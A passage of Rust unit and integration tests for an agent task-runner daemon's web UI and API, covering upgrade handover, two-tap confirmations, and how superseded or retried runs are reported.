15560                Ok(1)
15561            },
15562        )
15563        .await
15564        .expect("hand over");
15565        told.into_inner().unwrap().expect("successor was started")
15566    }
15567
15568    #[tokio::test]
15569    async fn a_running_loop_is_resumed_by_the_successor() {
15570        let home = TempDir::new().expect("temp home");
15571        let ui = idle_ui(&home);
15572        ui.start_loop(None).expect("start");
15573        ui.park_for_upgrade().expect("park");
15574        // The idle loop sees the park and ends before the handover fires.
15575        for _ in 0..500 {
15576            if !ui.loop_view(None).running {
15577                break;
15578            }
15579            tokio::time::sleep(Duration::from_millis(2)).await;
15580        }
15581        assert!(handed_over(&home, ui).await, "a running loop must resume");
15582
15583        let successor = idle_ui(&home);
15584        assert!(!successor.loop_view(None).running);
15585        assert!(successor.resume_after_handover(true));
15586        assert!(successor.loop_view(None).running);
15587        successor.stop_loop(None, false).expect("stop");
15588    }
15589
15590    #[tokio::test]
15591    async fn a_second_upgrade_request_keeps_the_resume_intent() {
15592        let home = TempDir::new().expect("temp home");
15593        let ui = idle_ui(&home);
15594        ui.start_loop(None).expect("start");
15595        ui.park_for_upgrade().expect("first park");
15596        ui.park_for_upgrade().expect("second park");
15597        assert!(handed_over(&home, ui).await);
15598    }
15599
15600    #[tokio::test]
15601    async fn a_stop_during_the_handover_wait_is_honoured() {
15602        let home = TempDir::new().expect("temp home");
15603        let ui = idle_ui(&home);
15604        ui.start_loop(None).expect("start");
15605        ui.park_for_upgrade().expect("park");
15606        ui.stop_loop(None, false).expect("stop");
15607        assert!(!handed_over(&home, ui).await);
15608    }
15609
15610    #[tokio::test]
15611    async fn an_idle_loop_stays_stopped_across_the_handover() {
15612        let home = TempDir::new().expect("temp home");
15613        let ui = idle_ui(&home);
15614        ui.park_for_upgrade().expect("park");
15615        assert!(!handed_over(&home, ui).await);
15616
15617        let successor = idle_ui(&home);
15618        assert!(!successor.resume_after_handover(false));
15619        assert!(!successor.loop_view(None).running);
15620    }
15621
15622    #[tokio::test]
15623    async fn a_loop_the_operator_stopped_is_not_resumed() {
15624        let home = TempDir::new().expect("temp home");
15625        let ui = idle_ui(&home);
15626        ui.start_loop(None).expect("start");
15627        ui.stop_loop(None, false).expect("stop");
15628        ui.park_for_upgrade().expect("park");
15629        assert!(!handed_over(&home, ui).await);
15630    }
15631
15632    #[test]
15633    fn only_an_explicit_one_requests_a_resume() {
15634        assert!(!resume_requested(None));
15635        assert!(!resume_requested(Some("0".into())));
15636        assert!(!resume_requested(Some("".into())));
15637        assert!(resume_requested(Some("1".into())));
15638    }
15639
15640    #[test]
15641    fn the_upgrade_button_arms_before_it_restarts_anything() {
15642        // It ends the process the operator is talking to, and a phone in a
15643        // pocket taps things. One tap arms, the second commits.
15644        assert!(APP_JS.contains("upgrade: \"/api/upgrade\""));
15645        assert!(APP_JS.contains("Replace the binary and restart?"));
15646        assert!(APP_JS.contains("function confirmed("));
15647        // Hidden when the loop is somebody else's, matching the 409 above -
15648        // and hidden with nothing to install, matching the 200 "already
15649        // current" branch: an operator on the newest build must not be
15650        // offered a restart that would only park a run for nothing.
15651        assert!(APP_JS.contains("show(upgradeBtn, !foreign && update.available)"));
15652        // A park waits for the node in flight, up to an hour for an implement
15653        // wave. Leaving the button reading "Upgrading…" for that long is the
15654        // same mistake as an error rendered off screen: it looks wedged.
15655        assert!(
15656            APP_JS.contains("Parking, then restarting"),
15657            "the button says what it is waiting for"
15658        );
15659        // And nothing to install must give the button back rather than
15660        // pretending a restart is coming.
15661        assert!(APP_JS.contains("if (!out.to)"));
15662    }
15663
15664    #[test]
15665    fn stopping_the_loop_arms_but_starting_does_not() {
15666        // A stray tap must not leave the queue stopped overnight, so a stop is
15667        // two taps through the same helper the upgrade uses; a start stays one.
15668        assert!(APP_JS.contains("Finish the run(s) in flight, then stop claiming?"));
15669        assert!(APP_JS.contains("Stop claiming new tasks? Nothing is in flight."));
15670        assert!(APP_JS.contains("confirmed(button, question)"));
15671        // The label put back on timeout is the one saved when arming, not a
15672        // hard-coded upgrade caption that would rename the stop button.
15673        assert!(!APP_JS.contains("setText(btn, \"Update & restart\");\n    }\n  }, 6000)"));
15674        assert!(APP_JS.contains("const label = btn.textContent;"));
15675        assert!(!APP_JS.contains("Neither direction is guarded"));
15676    }
15677
15678    #[test]
15679    fn the_running_version_is_shown_regardless_of_whether_an_update_exists() {
15680        assert!(
15681            APP_JS.contains("state.health.version"),
15682            "the operator wants to know what is running even with nothing newer"
15683        );
15684        assert!(APP_JS.contains("id=\"daemon-version\"") || APP_CSS.contains(".daemon-version"));
15685    }
15686
15687    #[test]
15688    fn the_upgrade_button_names_its_destination() {
15689        assert!(
15690            APP_JS.contains("`Update to ${update.to}`"),
15691            "pressing the button should not be a surprise about what it moves to"
15692        );
15693    }
15694
15695    #[test]
15696    fn an_upgrade_in_progress_is_shown_as_stages_not_as_an_error() {
15697        for stage in ["downloading", "replaced", "parking", "restarting"] {
15698            assert!(
15699                APP_JS.contains(&format!("\"{stage}\"")),
15700                "the phone must be able to tell {stage} apart from the others"
15701            );
15702        }
15703        assert!(APP_JS.contains(".waiting_on"));
15704        // What replaced the bare "Cannot reach magi: Failed to fetch": a
15705        // fetch failing while an upgrade is in flight is not an error, it is
15706        // the sub-second gap `bind_waiting` covers, and it must not be
15707        // reported as one.
15708        assert!(APP_JS.contains("function reportUnreachableDuringUpgrade("));
15709        assert!(APP_JS.contains("reconnects on its own"));
15710    }
15711
15712    #[test]
15713    fn a_failed_upgrade_does_not_lock_the_loop_controls() {
15714        // `Stage::Failed` is terminal on the server and nothing clears it on
15715        // its own - not a fresh start, not time passing - so a full-strip
15716        // takeover for it (the way the busy stages take the strip over,
15717        // correctly, because those are transient) would have hidden
15718        // start/stop/park behind an upgrade notice with no way back short of
15719        // a person editing `upgrade.json` by hand or a later release
15720        // happening to succeed. The failure must instead ride along as a note
15721        // next to whatever control the loop's own state already offers.
15722        let body = &APP_JS[APP_JS.find("function renderLoop(").expect("renderLoop")
15723            ..APP_JS.find("function upgrade(").expect("upgrade")];
15724        assert!(
15725            !body.contains(
15726                "upgradeStage === \"failed\") {\n    setAttr(box, \"data-state\", \"failed\")"
15727            ),
15728            "a failed upgrade must not take the whole strip over the way it used to"
15729        );
15730        assert!(
15731            body.contains("upgradeFailNote"),
15732            "the failure has to reach the loop's own note instead"
15733        );
15734        // `quiet` and `control` are the only two places `loop-why` is set from
15735        // this function's own state; both must carry the note through, or a
15736        // future edit to either one would silently drop it again.
15737        assert_eq!(
15738            body.matches("upgradeFailNote].filter(Boolean).join")
15739                .count(),
15740            2,
15741            "both loop-why writers (quiet and control) must fold the note in"
15742        );
15743    }
15744
15745    #[test]
15746    fn an_overdue_upgrade_eventually_asks_for_a_human() {
15747        // The ceiling has to clear a full hour-long park with room to spare,
15748        // or an ordinary implement wave would be reported as a stuck upgrade.
15749        assert!(APP_JS.contains("UPGRADE_WAIT_LIMIT_MS = 70 * 60 * 1000"));
15750        assert!(APP_JS.contains("function upgradeOverdue("));
15751    }
15752
15753    #[test]
15754    fn coming_back_from_an_upgrade_says_which_version_it_landed_on() {
15755        assert!(
15756            APP_JS.contains("Updated to ${upgradeInfo.to"),
15757            "the operator who asked for the restart wants to know it worked"
15758        );
15759    }
15760
15761    #[test]
15762    fn an_error_is_visible_from_where_the_button_is() {
15763        // The alert used to sit in the flow under the header. On a phone
15764        // scrolled 13 500 px down to a run's action sheet that is off screen,
15765        // so tapping Resume and being told "the loop is running run b455
15766        // right now" looked exactly like a button that did nothing.
15767        let alert = &APP_CSS[APP_CSS.find(".alert {").expect(".alert")
15768            ..APP_CSS.find(".alert-text").expect(".alert-text")];
15769        assert!(
15770            alert.contains("position: fixed"),
15771            "an error about the thing under your thumb has to be visible from \
15772             where your thumb is: {alert}"
15773        );
15774        assert!(
15775            alert.contains("z-index: 25"),
15776            "above the dock (20) and the run-actions FAB (15), so neither \
15777             buries it: {alert}"
15778        );
15779        assert!(
15780            alert.contains("var(--tap)"),
15781            "and clear of the dock and the home indicator: {alert}"
15782        );
15783        // The FAB sits at the same height on the right. An error that covered
15784        // it would hide the button the operator reaches for next.
15785        assert!(
15786            alert.contains("var(--s4) + var(--tap) + var(--s3)"),
15787            "the FAB's column stays free: {alert}"
15788        );
15789    }
15790
15791    #[tokio::test]
15792    async fn an_older_attempt_says_what_replaced_it() {
15793        let fx = Fixture::start().await;
15794        let q = fx.queue();
15795        let runs = fx.runs();
15796        let (first, second) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
15797        write_run(&runs, first, RunStatus::Stalled);
15798        write_run(&runs, second, RunStatus::Blocked);
15799
15800        let mut t = Task::new(
15801            "one task".to_owned(),
15802            "do it".to_owned(),
15803            PathBuf::from("/repo"),
15804            Source::Human,
15805        );
15806        t.runs = vec![first.to_owned(), second.to_owned()];
15807        q.put(&mut t).expect("put");
15808
15809        // Two cards with the same title and no hint which is which was the
15810        // question: "why are there two of the same, one stalled and one
15811        // blocked?" The older one now names its replacement.
15812        let rows = fx.get("/api/runs").await.json();
15813        let by = |short: &str| -> Value {
15814            rows.as_array()
15815                .unwrap()
15816                .iter()
15817                .find(|r| r["short"] == short)
15818                .cloned()
15819                .unwrap_or(Value::Null)
15820        };
15821        assert_eq!(by("aaaa")["superseded_by"], "bbbb");
15822        assert!(
15823            by("bbbb")["superseded_by"].is_null(),
15824            "the latest attempt is not superseded by anything"
15825        );
15826        // Front end: the note has to be rendered, not just carried.
15827        assert!(APP_JS.contains("run.superseded_by"));
15828        assert!(APP_JS.contains("Superseded by"));
15829    }
15830
15831    fn outcome_task(runs: &[&str], status: TaskStatus) -> Task {
15832        let mut t = Task::new(
15833            "one task".to_owned(),
15834            "do it".to_owned(),
15835            PathBuf::from("/repo"),
15836            Source::Human,
15837        );
15838        t.runs = runs.iter().map(|r| (*r).to_owned()).collect();
15839        t.status = status;
15840        t
15841    }
15842
15843    #[test]
15844    fn source_link_picks_the_page_that_filed_the_task() {
15845        let agent = |node: &str| Source::Agent {
15846            run: "20260904-014455-ab12".to_owned(),
15847            node: node.to_owned(),
15848        };
15849        let chat = source_link(&agent("chat")).expect("chat link");
15850        assert_eq!(chat.kind, "chat");
15851        assert_eq!(chat.id, "20260904-014455-ab12");
15852        assert_eq!(chat.href, "#/chat/20260904-014455-ab12");
15853        let run = source_link(&agent("implement")).expect("run link");
15854        assert_eq!(
15855            (run.kind, run.href.as_str()),
15856            ("run", "#/runs/20260904-014455-ab12")
15857        );
15858        assert_eq!(source_link(&Source::Human), None);
15859        assert_eq!(
15860            source_link(&Source::Issue {
15861                number: 3,
15862                repo: "o/r".to_owned()
15863            }),
15864            None
15865        );
15866        let odd = source_link(&Source::Agent {
15867            run: "a b/c".to_owned(),
15868            node: "chat".to_owned(),
15869        })
15870        .expect("link");
15871        assert_eq!(odd.href, "#/chat/a%20b%2Fc");
15872    }
15873
15874    #[test]
15875    fn the_ui_reads_the_source_link_instead_of_guessing_a_route() {
15876        assert!(
15877            !APP_JS.contains("src.node === \"chat\""),
15878            "inline href rule is back"
15879        );
15880        assert!(
15881            APP_JS.matches("sourceLinkOf(").count() >= 4,
15882            "helper must serve every page"
15883        );
15884        assert!(
15885            APP_JS.matches("openChatLink(").count() >= 3,
15886            "the run page still needs its explicit chat link"
15887        );
15888        assert!(
15889            !APP_JS.contains("const openChat = el("),
15890            "the Queue card duplicates its source label link again"
15891        );
15892        assert!(
15893            APP_JS.contains("metaKids.push(link ? el(\"a\""),
15894            "the task page must link a chat source label too"
15895        );
15896    }
15897
15898    #[test]
15899    fn task_ref_carries_the_source_link_for_a_chat_task() {
15900        let mut t = outcome_task(&["20260901-000000-aaaa"], TaskStatus::Held);
15901        t.source = Source::Agent {
15902            run: "20260904-014455-ab12".to_owned(),
15903            node: "chat".to_owned(),
15904        };
15905        let out = task_outcome(&t, "20260901-000000-aaaa", 3, |_| None);
15906        let v = serde_json::to_value(&out).expect("json");
15907        assert_eq!(v["source_link"]["kind"], "chat", "{v}");
15908        assert_eq!(v["source_link"]["href"], "#/chat/20260904-014455-ab12");
15909        assert_eq!(v["source_label"], t.source.label());
15910
15911        let human = outcome_task(&["20260901-000000-aaaa"], TaskStatus::Held);
15912        let v = serde_json::to_value(task_outcome(&human, "20260901-000000-aaaa", 3, |_| None))
15913            .expect("json");
15914        assert!(v["source_link"].is_null(), "{v}");
15915    }
15916
15917    #[test]
15918    fn task_view_serializes_source_link() {
15919        let mut t = Task::new(
15920            "t".to_owned(),
15921            "t".to_owned(),
15922            PathBuf::from("/repo"),
15923            Source::Agent {
15924                run: "20260901-000000-aaaa".to_owned(),
15925                node: "implement".to_owned(),
15926            },
15927        );
15928        t.runs.clear();
15929        let v = serde_json::to_value(TaskView::from(t)).expect("json");
15930        assert_eq!(v["source_link"]["kind"], "run", "{v}");
15931        assert_eq!(v["source_link"]["href"], "#/runs/20260901-000000-aaaa");
15932    }
15933
15934    #[tokio::test]
15935    async fn a_blocked_run_reports_the_task_finishing_elsewhere() {
15936        let fx = Fixture::start().await;
15937        let runs = fx.runs();
15938        let (old, new) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
15939        write_run(&runs, old, RunStatus::Blocked);
15940        write_run(&runs, new, RunStatus::Merged);
15941        let mut t = outcome_task(&[old, new], TaskStatus::Done);
15942        fx.queue().put(&mut t).expect("put");
15943
15944        let view = fx.get(&format!("/api/runs/{old}")).await.json();
15945        let task = &view["task"];
15946        assert_eq!(task["status"], "done");
15947        assert_eq!(task["is_latest"], false);
15948        assert_eq!(task["latest"]["short"], "bbbb");
15949        assert_eq!(task["finished_by"]["id"], new);
15950        assert_eq!(task["finished_by"]["outcome"], "merged");
15951        assert_eq!(task["closed_by_hand"], false);
15952        assert_eq!(view["status"], "blocked", "the run keeps its own status");
15953        assert!(APP_JS.contains("finished_by"));
15954        assert!(APP_JS.contains("superseded by run"));
15955    }
15956
15957    #[tokio::test]
15958    async fn the_latest_run_reports_a_held_task_without_a_successor() {
15959        let fx = Fixture::start().await;
15960        let runs = fx.runs();
15961        let (old, new) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
15962        write_run(&runs, old, RunStatus::Stalled);
15963        write_run(&runs, new, RunStatus::Blocked);
15964        let mut t = outcome_task(&[old, new], TaskStatus::Held);
15965        fx.queue().put(&mut t).expect("put");
15966
15967        let task = fx.get(&format!("/api/runs/{new}")).await.json()["task"].clone();
15968        assert_eq!(task["status"], "held");
15969        assert_eq!(task["is_latest"], true);
15970        assert!(task["latest"].is_null());
15971        assert!(task["finished_by"].is_null());
15972        assert_eq!(task["closed_by_hand"], false);
15973    }
15974
15975    #[tokio::test]
15976    async fn a_direct_run_has_no_task_outcome() {
15977        let fx = Fixture::start().await;
15978        let runs = fx.runs();
15979        let id = "20260901-000000-aaaa";
15980        write_run(&runs, id, RunStatus::Blocked);
15981        let view = fx.get(&format!("/api/runs/{id}")).await.json();
15982        assert!(view["task"].is_null());
15983    }
15984
15985    #[test]
15986    fn task_outcome_does_not_guess_a_finishing_run() {
15987        let a = "20260901-000000-aaaa";
15988        let b = "20260901-000000-bbbb";
15989        let c = "20260901-000000-cccc";
15990        let dir = tempfile::tempdir().expect("tempdir");
15991        write_run(dir.path(), a, RunStatus::Blocked);
15992        write_run(dir.path(), b, RunStatus::VerifiedNoop);
15993        // `c` has no record: unreadable.
15994        let read = |id: &str| read_run(dir.path(), id).ok();
15995        // Neither a blocked run nor a no-op finished the task; the newest run is
15996        // unreadable and still named.
15997        let t = outcome_task(&[a, b, c], TaskStatus::Done);
15998        let out = task_outcome(&t, a, 3, read);
15999        assert!(out.finished_by.is_none());
16000        assert!(out.closed_by_hand);
16001        let latest = out.latest.expect("latest");
16002        assert_eq!(latest.id, c);
16003        assert_eq!(latest.status, None);
16004        assert_eq!(latest.outcome, "record unreadable");
16005
16006        // A Ready run settles the task as done, so it is named as the finisher.
16007        write_run(dir.path(), c, RunStatus::Ready);
16008        let t = outcome_task(&[a, c], TaskStatus::Done);
16009        let out = task_outcome(&t, a, 3, |id| read_run(dir.path(), id).ok());
16010        assert_eq!(out.finished_by.expect("finisher").id, c);
16011        assert!(!out.closed_by_hand);
16012
16013        // A resumed run id repeats: it is still the latest by id.
16014        let t = outcome_task(&[a, b, a], TaskStatus::Held);
16015        assert!(task_outcome(&t, a, 3, read).is_latest);
16016    }
16017
16018    #[tokio::test]
16019    async fn a_run_s_own_detail_page_says_what_replaced_it_too() {
16020        // The list route has known this since the card fix above; the detail
16021        // route — what an operator actually opens from a notification about
16022        // a blocked run — did not, and went on showing a bare red BLOCKED
16023        // chip for a run a retry had already finished.
16024        let fx = Fixture::start().await;
16025        let q = fx.queue();
16026        let runs = fx.runs();
16027        let (first, second) = ("20260901-000000-cccc", "20260901-000000-dddd");
16028        write_run(&runs, first, RunStatus::Blocked);
16029        write_run(&runs, second, RunStatus::Merged);
16030
16031        let mut t = Task::new(
16032            "one task".to_owned(),
16033            "do it".to_owned(),
16034            PathBuf::from("/repo"),
16035            Source::Human,
16036        );
16037        t.runs = vec![first.to_owned(), second.to_owned()];
16038        q.put(&mut t).expect("put");
16039
16040        let earlier = fx.get(&format!("/api/runs/{first}")).await.json();
16041        assert_eq!(earlier["superseded_by"], "dddd");
16042        assert_eq!(earlier["latest_attempt"]["id"], second);
16043        assert_eq!(earlier["latest_attempt"]["short"], "dddd");
16044        assert_eq!(
16045            earlier["latest_attempt"]["resolved"], true,
16046            "the run that replaced it landed, so this one reads as settled"
16047        );
16048
16049        let later = fx.get(&format!("/api/runs/{second}")).await.json();
16050        assert!(
16051            later["superseded_by"].is_null(),
16052            "the latest attempt is not superseded by anything"
16053        );
16054        assert!(
16055            later["latest_attempt"].is_null(),
16056            "the latest attempt has no later attempt of its own"
16057        );
16058
16059        // Front end: the detail page has to read the field this route now
16060        // carries, downgrade the chip, and link to the run that replaced it —
16061        // not just repeat the list card's own logic under a different name.
16062        // The link is built off `latest_attempt.id`, the server-resolved
16063        // full id, never a bare short string a client would have to guess a
16064        // full run from.
16065        assert!(APP_JS.contains("run.latest_attempt"));
16066        assert!(APP_JS.contains("data-superseded"));
16067        assert!(APP_JS.contains("#/runs/${latest.id}"));
16068    }
16069
16070    #[tokio::test]
16071    async fn a_chain_of_retries_points_the_oldest_at_the_current_head() {
16072        // A -> B -> C, all Blocked except the last. A's immediate successor
16073        // (superseded_by) is B, which is itself unresolved; what an operator
16074        // opening A's page actually needs is where the task's story stands
16075        // *now* - C, not B - without depending on whether C happens to be in
16076        // whatever page of /api/runs the client last cached.
16077        let fx = Fixture::start().await;
16078        let q = fx.queue();
16079        let runs = fx.runs();
16080        let (a, b, c) = (
16081            "20260901-000000-aaaa",
16082            "20260901-000000-bbbb",
16083            "20260901-000000-cccc",
16084        );
16085        write_run(&runs, a, RunStatus::Blocked);
16086        write_run(&runs, b, RunStatus::Blocked);
16087        write_run(&runs, c, RunStatus::Merged);
16088
16089        let mut t = Task::new(
16090            "retried twice".to_owned(),
16091            "do it".to_owned(),
16092            PathBuf::from("/repo"),
16093            Source::Human,
16094        );
16095        t.runs = vec![a.to_owned(), b.to_owned(), c.to_owned()];
16096        q.put(&mut t).expect("put");
16097
16098        let view = fx.get(&format!("/api/runs/{a}")).await.json();
16099        assert_eq!(view["superseded_by"], "bbbb", "the immediate successor");
16100        assert_eq!(
16101            view["latest_attempt"]["id"], c,
16102            "the chain's current head, not the intermediate Blocked retry"
16103        );
16104        assert_eq!(view["latest_attempt"]["resolved"], true);
16105
16106        let mid = fx.get(&format!("/api/runs/{b}")).await.json();
16107        assert_eq!(mid["latest_attempt"]["id"], c);
16108        assert_eq!(mid["latest_attempt"]["resolved"], true);
16109    }
16110
16111    #[tokio::test]
16112    async fn an_unresolved_or_unverified_successor_does_not_read_as_finished() {
16113        let fx = Fixture::start().await;
16114        let q = fx.queue();
16115        let runs = fx.runs();
16116
16117        // Still Blocked: the task is not resolved, so the older run must not
16118        // read as settled either.
16119        let (still_blocked_a, still_blocked_b) = ("20260901-000000-e001", "20260901-000000-e002");
16120        write_run(&runs, still_blocked_a, RunStatus::Blocked);
16121        write_run(&runs, still_blocked_b, RunStatus::Blocked);
16122        let mut t1 = Task::new(
16123            "still stuck".to_owned(),
16124            "do it".to_owned(),
16125            PathBuf::from("/repo"),
16126            Source::Human,
16127        );
16128        t1.runs = vec![still_blocked_a.to_owned(), still_blocked_b.to_owned()];
16129        q.put(&mut t1).expect("put");
16130        let view1 = fx.get(&format!("/api/runs/{still_blocked_a}")).await.json();
16131        assert_eq!(view1["latest_attempt"]["resolved"], false);
16132        assert_eq!(view1["latest_attempt"]["status"], "blocked");
16133        assert_eq!(view1["latest_attempt"]["done"], true);
16134
16135        // Still running: the successor exists and must be reported as such.
16136        let (run_a, run_b) = ("20260901-000000-e005", "20260901-000000-e006");
16137        write_run(&runs, run_a, RunStatus::Blocked);
16138        write_run(&runs, run_b, RunStatus::Implementing);
16139        let mut t3 = Task::new(
16140            "retrying".to_owned(),
16141            "do it".to_owned(),
16142            PathBuf::from("/repo"),
16143            Source::Human,
16144        );
16145        t3.runs = vec![run_a.to_owned(), run_b.to_owned()];
16146        q.put(&mut t3).expect("put");
16147        let view3 = fx.get(&format!("/api/runs/{run_a}")).await.json();
16148        assert_eq!(view3["latest_attempt"]["id"], run_b);
16149        assert_eq!(view3["latest_attempt"]["resolved"], false);
16150        assert_eq!(view3["latest_attempt"]["done"], false);
16151
16152        // VerifiedNoop: a candidate's own unconfirmed claim, held for a human
16153        // to check - not a confirmed finish, so this must not read as
16154        // resolved either, even though the run is done in the sense that
16155        // nothing is still running.
16156        let (noop_a, noop_b) = ("20260901-000000-e003", "20260901-000000-e004");
16157        write_run(&runs, noop_a, RunStatus::Blocked);
16158        write_run(&runs, noop_b, RunStatus::VerifiedNoop);
16159        let mut t2 = Task::new(
16160            "claims done".to_owned(),
16161            "do it".to_owned(),
16162            PathBuf::from("/repo"),
16163            Source::Human,
16164        );
16165        t2.runs = vec![noop_a.to_owned(), noop_b.to_owned()];
16166        q.put(&mut t2).expect("put");
16167        let view2 = fx.get(&format!("/api/runs/{noop_a}")).await.json();
16168        assert_eq!(
16169            view2["latest_attempt"]["resolved"], false,
16170            "an unverified no-op claim must not read as a confirmed finish"
16171        );
16172
16173        // Front end: an unresolved successor must not carry the "finished
16174        // this work" note or the muted chip treatment.
16175        assert!(APP_JS.contains("latest.resolved"));
16176        // ...but the link to it shows as soon as it exists, labelled by state
16177        // and without the "finished" wording or the muted chip.
16178        assert!(APP_JS.contains("successorNote(latest, inFlight)"));
16179        assert!(APP_JS.contains("Latest attempt: "));
16180        assert!(APP_JS.contains("in flight"));
16181        assert!(APP_JS.contains("not resolved"));
16182    }
16183
16184    #[tokio::test]
16185    async fn a_replaced_deck_is_not_served_from_a_phone_s_cache() {
16186        let fx = Fixture::start().await;
16187        // No cache header at all meant browsers invented their own policy,
16188        // and one did: a phone went on showing "Candidates must be folded
16189        // before deleting. Run `magi fold` first." - deleted two releases
16190        // earlier - from a deck that no longer contained the sentence. The
16191        // button it named was right there, and unreachable.
16192        let js = fx.get("/app.js").await;
16193        assert_eq!(js.status, 200);
16194        let tag = js
16195            .header("etag")
16196            .expect("an etag to revalidate against")
16197            .to_owned();
16198        assert!(tag.contains(env!("CARGO_PKG_VERSION")), "tag: {tag}");
16199        assert_eq!(
16200            js.header("cache-control"),
16201            Some("no-cache, must-revalidate"),
16202            "the phone has to ask every time"
16203        );
16204
16205        // And the asking has to be cheap, or `must-revalidate` just means
16206        // "send the whole interface on every load".
16207        let again = fx
16208            .get_with("/app.js", &[("if-none-match", tag.as_str())])
16209            .await;
16210        assert_eq!(
16211            again.status, 304,
16212            "a deck it already has costs one round trip"
16213        );
16214        assert!(again.body.is_empty(), "304 carries no body");
16215
16216        // A weakened tag from a proxy still matches; a different build does
16217        // not, which is the case that has to deliver the new interface.
16218        let weak = fx
16219            .get_with("/app.js", &[("if-none-match", &format!("W/{tag}"))])
16220            .await;
16221        assert_eq!(weak.status, 304);
16222        let stale = fx
16223            .get_with("/app.js", &[("if-none-match", "\"0.0.1-1\"")])
16224            .await;
16225        assert_eq!(stale.status, 200, "an older build must be replaced");
16226        assert!(stale.body.contains("renderRunActions"));
16227    }
16228
16229    #[test]
16230    fn the_task_detail_has_an_actions_fab_and_sheet() {
16231        assert!(INDEX_HTML.contains("id=\"task-actions-fab\""));
16232        assert!(INDEX_HTML.contains("id=\"task-actions-sheet\""));
16233        assert!(INDEX_HTML.contains("id=\"task-actions-error\" role=\"alert\""));
16234        // Shown only on the task route, closed everywhere else.
16235        assert!(APP_JS.contains("show($(\"task-actions-fab\"), route.name === \"task\")"));
16236        assert!(APP_JS.contains("if (route.name !== \"task\") closeTaskActions();"));
16237        // Refreshed whenever the detail redraws, including the loading state.
16238        assert!(APP_JS.contains("renderTaskActions(task);"));
16239        assert!(APP_JS.contains("renderTaskActions(null);"));
16240        // Same renderers and routes as the Queue card, no new endpoint.
16241        let sheet = APP_JS
16242            .find("function renderTaskActions")
16243            .expect("sheet renderer");
16244        let body = &APP_JS[sheet..sheet + 3000];
16245        assert!(body.contains("changePriority("));
16246        assert!(body.contains("openTaskEdit(task)"));
16247        assert!(body.contains("renderTaskHoldBox(host"));
16248        assert!(body.contains("renderTaskDoneBox(host"));
16249        assert!(body.contains("renderTaskDeleteBox(host"));
16250        assert!(APP_JS.contains("API.priority(id)"));
16251        assert!(APP_JS.contains("API.deleteTask(id)"));
16252        // A deleted task sends the operator back to the queue.
16253        assert!(APP_JS.contains("location.hash = \"#/queue\""));
16254        // A refusal is shown inside the sheet.
16255        assert!(APP_JS.contains("$(\"task-actions-error\")"));
16256    }
16257
16258    #[test]
16259    fn the_run_actions_sheet_leads_with_a_way_to_the_task() {
16260        let task = INDEX_HTML.find("id=\"run-task-box\"").expect("task box");
16261        let actions = INDEX_HTML
16262            .find("id=\"run-actions-box\"")
16263            .expect("actions box");
16264        assert!(task < actions, "the task entry comes first in the sheet");
16265        assert!(APP_JS.contains("renderRunTaskEntry"));
16266        assert!(APP_JS.contains("\"Open task \""));
16267        // A run without a task says why there is nothing to open.
16268        assert!(APP_JS.contains("started directly, no task"));
16269        assert!(APP_JS.contains("sheet-task-link"));
16270        assert!(APP_JS.contains("task-chip-link"));
16271    }
16272
16273    #[test]
16274    fn the_deck_never_sends_the_operator_to_a_terminal() {
16275        // The whole point of the phone UI is that a terminal is not needed.
16276        // The delete control used to answer with "Run `magi fold` first."
16277        assert!(
16278            !APP_JS.contains("Run `magi fold` first"),
16279            "the deck must offer the fold, not prescribe a shell command"
16280        );
16281        assert!(APP_JS.contains("foldRun:"));
16282        assert!(APP_JS.contains("resumeRun:"));
16283        assert!(APP_JS.contains("renderRunActions"));
16284
16285        // Folding is destructive and armed in two steps, like deleting.
16286        assert!(APP_JS.contains("armedFold"));
16287        assert!(APP_JS.contains("Yes, fold worktrees"));
16288
16289        // And the copy has to say that the two actions are opposites, because
16290        // folding throws away exactly what a resume would continue from.
16291        assert!(APP_JS.contains("can no longer be resumed"));
16292    }
16293
16294    #[test]
16295    fn a_finished_run_explains_itself_with_its_own_last_line() {
16296        // The deck used to answer "why did this stop?" with a sentence chosen
16297        // by status alone. Run e633 stalled because two judges answered with
16298        // the wrong JSON shape and its card said "The panel collapsed on
16299        // agent quota" - with `quota: []` in the record and a quota-loss
16300        // counter right above it that correctly said nothing.
16301        assert!(
16302            !APP_JS.contains("collapsed on agent quota"),
16303            "a stall must not be explained by a cause the deck did not check"
16304        );
16305        assert!(
16306            !APP_JS.contains("Review rounds ran out with findings still open, or the gate failed"),
16307            "and a block must not offer a guess with an `or` in it"
16308        );
16309
16310        // The reason it does have is `run.event`, which must reach finished
16311        // runs: gating it on movement hid the recorded truth at the one moment
16312        // the operator is reading the card to find out what happened.
16313        assert!(
16314            APP_JS.contains("setText(r.event, run.event || \"\")"),
16315            "the run's last line is rendered unconditionally"
16316        );
16317        assert!(
16318            !APP_JS.contains("moving && run.event"),
16319            "and never gated on the run still moving"
16320        );
16321
16322        // Quota keeps its own counter, fed by the number actually recorded.
16323        assert!(APP_JS.contains("lost to quota"));
16324    }
16325
16326    /// The runs tree (section) and the state chips (waiting/done) are two
16327    /// independent lenses ANDed together in `renderRuns`, and some pairings
16328    /// can never both be true for any run - every "Landed"/"Ended" run is
16329    /// done by construction, so pairing either with "Active" or "In flight"
16330    /// always rendered zero cards with the filter bar still claiming
16331    /// `Showing Ended`. `sectionCompatibleWithStateFilter` exists to catch
16332    /// that before it happens, checked against `REPRESENTATIVE_RUN_SHAPES` -
16333    /// a handful of (waiting, status) shapes standing in for the run
16334    /// lifecycle, because `cargo test` cannot execute the front end.
16335    ///
16336    /// That stand-in list is itself the part that drifted twice in review:
16337    /// once shipped with `waiting: true` paired with a done status the
16338    /// lifecycle cannot produce, then over-corrected into treating every
16339    /// waiting run as never done - which made "Waiting on you" look
16340    /// incompatible with "Done" even for the one real, reachable shape
16341    /// (Stalled/Blocked, both terminal yet still resumable) that is exactly
16342    /// that combination. This test parses the shapes and the done-rule back
16343    /// out of `APP_JS`, reimplements `runSection` and the five state
16344    /// predicates independently in Rust, and checks the resulting
16345    /// section/filter compatibility table against the lifecycle rules by
16346    /// hand - so either direction of drift fails it again.
16347    #[test]
16348    fn runs_tree_sections_and_state_chips_agree_on_what_a_run_can_be() {
16349        let shapes_marker = "const REPRESENTATIVE_RUN_SHAPES = [";
16350        let shapes_body_start =
16351            APP_JS.find(shapes_marker).expect("the shape list exists") + shapes_marker.len();
16352        let shapes_close = APP_JS[shapes_body_start..]
16353            .find("].map(")
16354            .expect("the shape list is closed by its done-computing .map(...)")
16355            + shapes_body_start;
16356        let shapes_src = &APP_JS[shapes_body_start..shapes_close];
16357
